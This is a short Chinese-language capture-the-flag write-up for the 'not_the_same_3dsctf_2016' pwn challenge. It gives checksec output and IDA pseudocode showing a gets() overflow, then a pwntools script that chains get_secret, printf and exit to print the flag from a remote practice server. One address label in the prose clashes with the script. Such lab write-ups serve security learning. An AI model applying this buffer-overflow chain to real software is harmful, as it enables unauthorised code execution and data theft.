分析

  1. checksec
1
2
3
➜  pwn checksec --file=not_the_same_3dsctf_2016
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 1991) Symbols No 0 0 not_the_same_3dsctf_2016
  1. ida
1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF

printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(v4);
return 0;
}

get函数可以溢出,查看v4:

1
2
3
4
5
6
7
-0000002D var_2D          db 45 dup(?)
+00000000 r db 4 dup(?)
+00000004 argc dd ?
+00000008 argv dd ? ; offset
+0000000C envp dd ? ; offset
+00000010
+00000010 ; end of stack variables

发现get_secret函数:

  • 地址:0x80489A0
1
2
3
4
5
6
7
8
int get_secret()
{
int v0; // esi

v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}

利用

直接溢出跳转get_secret函数,然后再里面调用打印函数,打印v0数据即可:

  • 080ECA2D : fl4g

调用伪代码如下:

1
2
3
4
5
6
main{
get_secret{
printf(v0);
exit()
}
}

注意一定要exit

  • 0x80489A0: printf
  • 0x804E660 : exit
1
2
3
4
5
6
7
8
9
from pwn import *
r = remote('node5.buuoj.cn',26477)
get_secret = 0x80489A0
printf = 0x804F0A0
_exit = 0x804E660
flag = 0x080ECA2D
buf = b'a' * 45 + p32(get_secret) + p32(printf) + p32(_exit) + p32(flag)
r.sendline(buf)
r.interactive()